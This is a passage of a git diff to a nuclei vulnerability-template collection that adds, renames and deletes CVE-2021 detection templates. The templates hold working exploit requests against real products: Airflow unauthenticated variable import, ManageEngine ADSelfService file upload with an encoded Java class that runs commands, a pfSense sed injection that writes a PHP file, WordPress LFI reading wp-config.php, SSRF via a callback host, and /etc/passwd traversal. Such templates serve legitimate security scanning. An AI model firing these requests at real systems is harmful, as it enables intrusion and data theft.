eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk - - matchers-condition: and - matchers: - - type: word - words: - - 'query success' - - '"userName":"admin"' - - '"code":200' - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/02 diff --git a/nuclei-templates/CVE-2021/cve-2021-37833.yaml b/nuclei-templates/CVE-2021/CVE-2021-37833.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-37833.yaml rename to nuclei-templates/CVE-2021/CVE-2021-37833.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-38540.yaml b/nuclei-templates/CVE-2021/CVE-2021-38540.yaml new file mode 100644 index 0000000000..58293f9952 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-38540.yaml @@ -0,0 +1,75 @@ +id: CVE-2021-38540 + +info: + name: Apache Airflow - Unauthenticated Variable Import + author: pdteam + severity: critical + description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-38540 + - https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E + - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E + remediation: Upgrade to Apache Airflow 2.1.3 or higher. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-38540 + cwe-id: CWE-306 + metadata: + shodan-query: title:"Sign In - Airflow" + verified: true + tags: cve,cve2021,apache,airflow,rce + +requests: + - raw: + - | + GET /login/ HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + - | + POST /variable/varimport HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7 + Referer: {{RootURL}}/admin/variable/ + + ------WebKitFormBoundaryB874qcjbpxTP1Hj7 + Content-Disposition: form-data; name="csrf_token" + + {{csrf}} + ------WebKitFormBoundaryB874qcjbpxTP1Hj7 + Content-Disposition: form-data; name="file"; filename="{{randstr}}.json" + Content-Type: application/json + + { + "type": "{{randstr}}" + } + + ------WebKitFormBoundaryB874qcjbpxTP1Hj7-- + + cookie-reuse: true + extractors: + - type: regex + name: csrf + group: 1 + internal: true + regex: + - 'type="hidden" value="(.*?)">' + + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'contains(body_1, "Sign In - Airflow")' + - 'status_code_2 == 302' + - 'contains(all_headers_2, "session=.")' + condition: and + + - type: word + words: + - 'You should be redirected automatically to target URL: ' + + +# Enhanced by mp on 2022/04/22 diff --git a/nuclei-templates/Other/omigod-220331-223015.yaml b/nuclei-templates/CVE-2021/CVE-2021-38647.yaml similarity index 100% rename from nuclei-templates/Other/omigod-220331-223015.yaml rename to nuclei-templates/CVE-2021/CVE-2021-38647.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-39211.yaml b/nuclei-templates/CVE-2021/CVE-2021-39211.yaml deleted file mode 100644 index 0847c7cf42..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-39211.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2021-39211 -info: - name: GLPI Telemetry Disclosure - author: dogasantos,noraj - severity: medium - description: GLPI => 9.2 and < 9.5.6, the telemetry endpoint discloses GLPI and server information. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 - - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825 - - https://github.com/glpi-project/glpi/releases/tag/9.5.6 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-39211 - cwe-id: CWE-668,CWE-200 - tags: cve,cve2021,glpi,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/ajax/telemetry.php" - - "{{BaseURL}}/glpi/ajax/telemetry.php" - matchers-condition: and - matchers: - - type: word - words: - - '"uuid":' - - '"glpi":' - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39312.yaml b/nuclei-templates/CVE-2021/CVE-2021-39312.yaml new file mode 100644 index 0000000000..02e3b11697 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-39312.yaml @@ -0,0 +1,40 @@ +id: CVE-2021-39312 +info: + name: WordPress True Ranker <2.2.4 - Local File Inclusion + author: DhiyaneshDK + severity: high + description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion. + reference: + - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79 + - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312 + - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php + - https://nvd.nist.gov/vuln/detail/CVE-2021-39312 + remediation: Fixed in version 2.2.4 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-39312 + cwe-id: CWE-22,CWE-22 + tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,unauth,lfr +requests: + - raw: + - | + POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php + matchers-condition: and + matchers: + - type: word + part: body + words: + - "DB_NAME" + - "DB_PASSWORD" + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39322.yaml b/nuclei-templates/CVE-2021/CVE-2021-39322.yaml deleted file mode 100644 index 80b3ada7a5..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-39322.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2021-39322 - -info: - name: WordPress Easy Social Icons Plugin < 3.0.9 - Reflected Cross-Site Scripting - author: dhiyaneshDK - severity: medium - description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path. - reference: - - https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58 - - https://nvd.nist.gov/vuln/detail/CVE-2021-39322 - - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322 - - https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-39322 - cwe-id: CWE-79 - tags: wordpress,cve,cve2021,wp-plugin,authenticated - -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - - | - GET /wp-admin/admin.php//?page=cnss_social_icon_page HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - - type: status - status: - - 200 - - - type: word - part: header - words: - - "text/html" - -# Enhanced by mp on 2022/03/23 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39327.yaml b/nuclei-templates/CVE-2021/CVE-2021-39327.yaml deleted file mode 100644 index f78e4f755b..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-39327.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-39327 - -info: - name: WordPress BulletProof Security 5.1 Information Disclosure - author: geeknik - severity: medium - description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1. - reference: - - https://packetstormsecurity.com/files/164420/wpbulletproofsecurity51-disclose.txt - - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327 - - https://nvd.nist.gov/vuln/detail/CVE-2021-39327 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-39327 - cwe-id: CWE-200 - tags: cve,cve2021,wordpress,exposures - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/bps-backup/logs/db_backup_log.txt' - - '{{BaseURL}}/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'BPS DB BACKUP LOG' - - '==================' - condition: and - - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'text/plain' - -# Enhanced by mp on 2022/03/23 diff --git a/nuclei-templates/CVE-2021/cve-2021-39350.yaml b/nuclei-templates/CVE-2021/CVE-2021-39350.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-39350.yaml rename to nuclei-templates/CVE-2021/CVE-2021-39350.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-40539.yaml b/nuclei-templates/CVE-2021/CVE-2021-40539.yaml deleted file mode 100644 index 685aa50014..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-40539.yaml +++ /dev/null @@ -1,116 +0,0 @@ -id: CVE-2021-40539 - -info: - name: Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution - author: daffainfo,pdteam - severity: critical - description: Zoho ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass vulnerability that can lead to remote code execution. - reference: - - https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis - - https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html - - https://github.com/synacktiv/CVE-2021-40539 - - https://nvd.nist.gov/vuln/detail/CVE-2021-40539 - remediation: Upgrade to ADSelfService Plus build 6114. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-40539 - cwe-id: CWE-287 - tags: cve,cve2021,rce,ad,intrusive,manageengine - -requests: - - - raw: - - | - POST /./RestAPI/LogonCustomization HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458 - - --8b1ab266c41afb773af2e064bc526458 - Content-Disposition: form-data; name="methodToCall" - - unspecified - --8b1ab266c41afb773af2e064bc526458 - Content-Disposition: form-data; name="Save" - - yes - --8b1ab266c41afb773af2e064bc526458 - Content-Disposition: form-data; name="form" - - smartcard - --8b1ab266c41afb773af2e064bc526458 - Content-Disposition: form-data; name="operation" - - Add - --8b1ab266c41afb773af2e064bc526458 - Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp" - - <%@ page import="java.util.*,java.io.*"%> - <%@ page import="java.security.MessageDigest"%> - <% - String cve = "CVE-2021-40539"; - MessageDigest alg = MessageDigest.getInstance("MD5"); - alg.reset(); - alg.update(cve.getBytes()); - byte[] digest = alg.digest(); - StringBuffer hashedpasswd = new StringBuffer(); - String hx; - for (int i=0;i - --8b1ab266c41afb773af2e064bc526458-- - - - | - POST /./RestAPI/LogonCustomization HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b - - --43992a07d9a30213782780204a9f032b - Content-Disposition: form-data; name="methodToCall" - - unspecified - --43992a07d9a30213782780204a9f032b - Content-Disposition: form-data; name="Save" - - yes - --43992a07d9a30213782780204a9f032b - Content-Disposition: form-data; name="form" - - smartcard - --43992a07d9a30213782780204a9f032b - Content-Disposition: form-data; name="operation" - - Add - --43992a07d9a30213782780204a9f032b - Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="Si.class" - - {{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}} - --43992a07d9a30213782780204a9f032b-- - - - | - POST /./RestAPI/Connection HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22 - - - | - GET /help/admin-guide/test.jsp HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - - type: word - words: - - "114f7ce498a54a1be1de1f1e5731d0ea" # MD5 of CVE-2021-40539 - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/18 diff --git a/nuclei-templates/CVE-2021/cve-2021-40542.yaml b/nuclei-templates/CVE-2021/CVE-2021-40542.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-40542.yaml rename to nuclei-templates/CVE-2021/CVE-2021-40542.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-40822.yaml b/nuclei-templates/CVE-2021/CVE-2021-40822.yaml new file mode 100644 index 0000000000..bb7e248c57 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-40822.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-40822 +info: + name: Geoserver - Server-Side Request Forgery + author: For3stCo1d + severity: high + description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host. + reference: + - https://gccybermonks.com/posts/cve-2021-40822/ + - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3 + - https://github.com/geoserver/geoserver/releases + - https://nvd.nist.gov/vuln/detail/CVE-2021-40822 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-40822 + cwe-id: CWE-918 + metadata: + fofa-query: app="GeoServer" + verified: "true" + tags: cve,cve2021,ssrf,geoserver +requests: + - raw: + - | + POST /geoserver/TestWfsPost HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + form_hf_0=&url=http://{{interactsh-url}}/geoserver/../&body=&username=&password= + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + - type: word + words: + - "" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-40856.yaml b/nuclei-templates/CVE-2021/CVE-2021-40856.yaml deleted file mode 100644 index 3499f2bcd8..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-40856.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-40856 - -info: - name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass - author: gy741 - severity: high - description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-40856 - - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass - - https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses - - http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-40856 - cwe-id: CWE-287 - tags: cve,cve2021,comfortel,auth-bypass,auerswald - -requests: - - raw: - - | - GET /about/../tree?action=get HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"TYPE"' - - '"ITEMS"' - - '"COUNT"' - condition: and - - - type: word - part: header - words: - - application/json - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/16 diff --git a/nuclei-templates/CVE-2021/cve-2021-40868.yaml b/nuclei-templates/CVE-2021/CVE-2021-40868.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-40868.yaml rename to nuclei-templates/CVE-2021/CVE-2021-40868.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-40978.yaml b/nuclei-templates/CVE-2021/CVE-2021-40978.yaml deleted file mode 100644 index 34a4663e8d..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-40978.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-40978 - -info: - name: MKdocs 1.2.2 - Directory Traversal - author: pikpikcu - severity: high - description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited. - reference: - - https://github.com/mkdocs/mkdocs/pull/2604 - - https://github.com/nisdn/CVE-2021-40978 - - https://nvd.nist.gov/vuln/detail/CVE-2021-40978 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-40978 - cwe-id: CWE-22 - tags: cve,cve2021,mkdocs,lfi - -requests: - - method: GET - path: - - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0:" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2021/CVE-2021-41174.yaml b/nuclei-templates/CVE-2021/CVE-2021-41174.yaml deleted file mode 100644 index de298d5c87..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-41174.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2021-41174 - -info: - name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting - author: pdteam - severity: medium - description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions. - reference: - - https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8 - - https://nvd.nist.gov/vuln/detail/CVE-2021-41174 - - https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82 - - https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912 - remediation: Upgrade to 8.2.3 or higher. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-41174 - cwe-id: CWE-79 - cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - epss-score: 0.96854 - metadata: - max-request: 1 - shodan-query: title:"Grafana" - tags: cve,cve2021,grafana,xss - -http: - - method: GET - path: - - "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1" - - skip-variables-check: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "Grafana" - - "frontend_boot_js_done_time_seconds" - condition: and - - - type: regex - regex: - - '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))' - - extractors: - - type: regex - group: 1 - regex: - - '"subTitle":"Grafana ([a-z0-9.]+)' - -# Enhanced by mp on 2022/03/06 diff --git a/nuclei-templates/CVE-2021/CVE-2021-41192.yaml b/nuclei-templates/CVE-2021/CVE-2021-41192.yaml new file mode 100644 index 0000000000..9368443578 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-41192.yaml @@ -0,0 +1,51 @@ +id: CVE-2021-41192 + +info: + name: Redash Setup Configuration - Default Secrets Disclosure + author: bananabr + severity: medium + description: Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the `REDASH_COOKIE_SECRET` or `REDASH_SECRET_KEY` environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value. + remediation: | + Remove or update the default secrets in the Redash setup configuration file. + reference: + - https://hackerone.com/reports/1380121 + - https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv + - https://nvd.nist.gov/vuln/detail/CVE-2021-41192 + - https://github.com/getredash/redash/commit/ce60d20c4e3d1537581f2f70f1308fe77ab6a214 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N + cvss-score: 6.5 + cve-id: CVE-2021-41192 + cwe-id: CWE-1188 + epss-score: 0.00805 + epss-percentile: 0.79729 + cpe: cpe:2.3:a:redash:redash:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: "redash" + product: "redash" + shodan-query: http.favicon.hash:698624197 + tags: hackerone,cve,cve2021,redash,auth-bypass + +http: + - method: GET + path: + - "{{BaseURL}}/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs" + - "{{BaseURL}}/redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs" + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Enter your new password:" + - "redash" + condition: and + + - type: status + status: + - 200 + +# digest: 4a0a00473045022100edb6f9f7289b6efcdc519b68083591843c70b09f13b8f5d06ee0a26c2d30fd5102201ccefa27e6fe181c9fbbbf31d4f4891aaafb9349586b3411033fe1a797cf7546:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/cve-2021-41266.yaml b/nuclei-templates/CVE-2021/CVE-2021-41266.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41266.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41266.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41277.yaml b/nuclei-templates/CVE-2021/CVE-2021-41277.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41277.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41277.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41282.yaml b/nuclei-templates/CVE-2021/CVE-2021-41282.yaml new file mode 100644 index 0000000000..4b5ec0cb6f --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-41282.yaml @@ -0,0 +1,66 @@ +id: CVE-2021-41282 + +info: + name: pfSense - Arbitrary File Write + author: cckuailong + severity: high + description: | + diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. + remediation: | + Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later. + reference: + - https://www.shielder.it/advisories/pfsense-remote-command-execution/ + - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/ + - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc + - https://nvd.nist.gov/vuln/detail/CVE-2021-41282 + - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2021-41282 + cwe-id: CWE-74 + epss-score: 0.97375 + epss-percentile: 0.99887 + cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:* + metadata: + max-request: 4 + vendor: pfsense + product: pfsense + tags: cve,cve2021,pfsense,rce,authenticated + +http: + - raw: + - | + GET /index.php HTTP/1.1 + Host: {{Hostname}} + - | + POST /index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login= + - | + GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1 + Host: {{Hostname}} + - | + GET /test.php HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers: + - type: dsl + dsl: + - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')" + - "status_code==200" + condition: and + + extractors: + - type: regex + name: csrf_token + group: 1 + regex: + - '(sid:[a-z0-9,;:]+)' + internal: true + part: body + +# digest: 4a0a00473045022100ef48291f3c4ea905bd452d70fd25a0487084b11dde0b4eaf171e5281be471c61022063e638ebe2f6aede97a5ee59650bc2f8786420e2f18a9508b13d8d400da4c7c4:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/cve-2021-41291.yaml b/nuclei-templates/CVE-2021/CVE-2021-41291.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41291.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41291.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41293.yaml b/nuclei-templates/CVE-2021/CVE-2021-41293.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41293.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41293.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41569.yaml b/nuclei-templates/CVE-2021/CVE-2021-41569.yaml new file mode 100644 index 0000000000..a65c219ae1 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-41569.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-41569 +info: + name: SAS 9.4 build 1520 - Local File Inclusion + author: 0x_Akoko + severity: high + description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. + reference: + - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas + - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 + - https://support.sas.com/kb/68/641.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-41569 + cwe-id: CWE-829 + tags: cve,cve2021,sas,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-41648.yaml b/nuclei-templates/CVE-2021/CVE-2021-41648.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41648.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41648.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41649.yaml b/nuclei-templates/CVE-2021/CVE-2021-41649.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41649.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41649.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41691.yaml b/nuclei-templates/CVE-2021/CVE-2021-41691.yaml new file mode 100644 index 0000000000..900d983862 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-41691.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-41691 + +info: + name: openSIS Student Information System 8.0 SQL Injection + author: Bartu Utku SARP + severity: high + description: openSIS Student Information System version 8.0 is 